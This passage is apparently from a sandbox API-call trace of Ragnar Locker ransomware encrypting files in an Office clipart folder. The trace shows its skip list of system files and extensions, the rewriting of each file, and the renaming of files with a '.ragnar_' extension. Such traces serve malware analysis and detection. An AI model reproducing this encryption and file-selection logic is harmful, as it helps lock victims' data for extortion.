nNumberOfBytesToLockHigh=0x0) returned 1 [0084.012] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbcfc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbcfc, lpOverlapped=0x0) returned 1 [0084.012] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbcfc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.012] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.012] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbcfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.012] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.012] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.015] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.015] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.015] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.015] GetProcessHeap () returned 0x580000 [0084.015] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.015] CloseHandle (hObject=0xf4) returned 1 [0084.015] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" [0084.015] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.ragnar_FD7BD9FC" [0084.016] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.016] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0084.016] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.016] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107134.WMF" | out: lpString1="J0107134.WMF") returned="J0107134.WMF" [0084.016] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned=".WMF" [0084.016] lstrcmpiW (lpString1="J0107134.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.016] lstrcmpiW (lpString1="J0107134.WMF", lpString2="autorun.inf") returned 1 [0084.016] lstrcmpiW (lpString1="J0107134.WMF", lpString2="boot.ini") returned 1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="bootfont.bin") returned 1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="bootsect.bak") returned 1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="bootmgr") returned 1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="bootmgr.efi") returned 1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="bootmgfw.efi") returned 1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="desktop.ini") returned 1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="iconcache.db") returned 1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="ntldr") returned -1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="ntuser.dat") returned -1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="ntuser.dat.log") returned -1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="ntuser.ini") returned -1 [0084.017] lstrcmpiW (lpString1="J0107134.WMF", lpString2="thumbs.db") returned -1 [0084.017] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.017] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.017] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.017] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.017] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.017] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.017] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 0x20 [0084.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.017] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=48388) returned 1 [0084.018] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbcfb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.018] GetProcessHeap () returned 0x580000 [0084.018] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.018] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.019] VirtualAlloc (lpAddress=0x0, dwSize=0xbd04, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.019] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.019] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.019] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbd04, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbd04, lpOverlapped=0x0) returned 1 [0084.021] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.021] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbd04, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.021] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbd04, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbd04, lpOverlapped=0x0) returned 1 [0084.022] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbd04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.022] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.022] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.022] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.022] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.022] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.022] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.022] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.022] GetProcessHeap () returned 0x580000 [0084.022] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.022] CloseHandle (hObject=0xf4) returned 1 [0084.023] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" [0084.023] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.ragnar_FD7BD9FC" [0084.023] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.023] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0084.023] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.023] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107138.WMF" | out: lpString1="J0107138.WMF") returned="J0107138.WMF" [0084.023] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned=".WMF" [0084.023] lstrcmpiW (lpString1="J0107138.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.023] lstrcmpiW (lpString1="J0107138.WMF", lpString2="autorun.inf") returned 1 [0084.023] lstrcmpiW (lpString1="J0107138.WMF", lpString2="boot.ini") returned 1 [0084.023] lstrcmpiW (lpString1="J0107138.WMF", lpString2="bootfont.bin") returned 1 [0084.023] lstrcmpiW (lpString1="J0107138.WMF", lpString2="bootsect.bak") returned 1 [0084.023] lstrcmpiW (lpString1="J0107138.WMF", lpString2="bootmgr") returned 1 [0084.024] lstrcmpiW (lpString1="J0107138.WMF", lpString2="bootmgr.efi") returned 1 [0084.024] lstrcmpiW (lpString1="J0107138.WMF", lpString2="bootmgfw.efi") returned 1 [0084.024] lstrcmpiW (lpString1="J0107138.WMF", lpString2="desktop.ini") returned 1 [0084.024] lstrcmpiW (lpString1="J0107138.WMF", lpString2="iconcache.db") returned 1 [0084.024] lstrcmpiW (lpString1="J0107138.WMF", lpString2="ntldr") returned -1 [0084.024] lstrcmpiW (lpString1="J0107138.WMF", lpString2="ntuser.dat") returned -1 [0084.024] lstrcmpiW (lpString1="J0107138.WMF", lpString2="ntuser.dat.log") returned -1 [0084.024] lstrcmpiW (lpString1="J0107138.WMF", lpString2="ntuser.ini") returned -1 [0084.024] lstrcmpiW (lpString1="J0107138.WMF", lpString2="thumbs.db") returned -1 [0084.024] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.024] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.024] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.024] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.024] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.024] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.024] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 0x20 [0084.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.025] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17200) returned 1 [0084.025] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4327, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.025] GetProcessHeap () returned 0x580000 [0084.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.025] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.027] VirtualAlloc (lpAddress=0x0, dwSize=0x4330, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.027] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4330, lpOverlapped=0x0) returned 1 [0084.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.028] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4330, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.028] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4330, lpOverlapped=0x0) returned 1 [0084.028] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4330, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.029] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.029] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4330, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.029] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.029] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.029] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.029] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.029] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.029] GetProcessHeap () returned 0x580000 [0084.029] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.029] CloseHandle (hObject=0xf4) returned 1 [0084.029] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" [0084.029] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.ragnar_FD7BD9FC" [0084.029] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.030] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0084.030] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.030] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107146.WMF" | out: lpString1="J0107146.WMF") returned="J0107146.WMF" [0084.030] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned=".WMF" [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="autorun.inf") returned 1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="boot.ini") returned 1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="bootfont.bin") returned 1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="bootsect.bak") returned 1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="bootmgr") returned 1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="bootmgr.efi") returned 1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="bootmgfw.efi") returned 1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="desktop.ini") returned 1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="iconcache.db") returned 1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="ntldr") returned -1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="ntuser.dat") returned -1 [0084.030] lstrcmpiW (lpString1="J0107146.WMF", lpString2="ntuser.dat.log") returned -1 [0084.031] lstrcmpiW (lpString1="J0107146.WMF", lpString2="ntuser.ini") returned -1 [0084.031] lstrcmpiW (lpString1="J0107146.WMF", lpString2="thumbs.db") returned -1 [0084.031] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.031] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.031] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.031] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.031] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.031] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.031] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 0x20 [0084.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.031] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14996) returned 1 [0084.031] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.031] GetProcessHeap () returned 0x580000 [0084.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.031] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.033] VirtualAlloc (lpAddress=0x0, dwSize=0x3a94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.033] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3a94, lpOverlapped=0x0) returned 1 [0084.034] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.034] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a94, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.034] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3a94, lpOverlapped=0x0) returned 1 [0084.034] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.034] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.035] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.035] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, 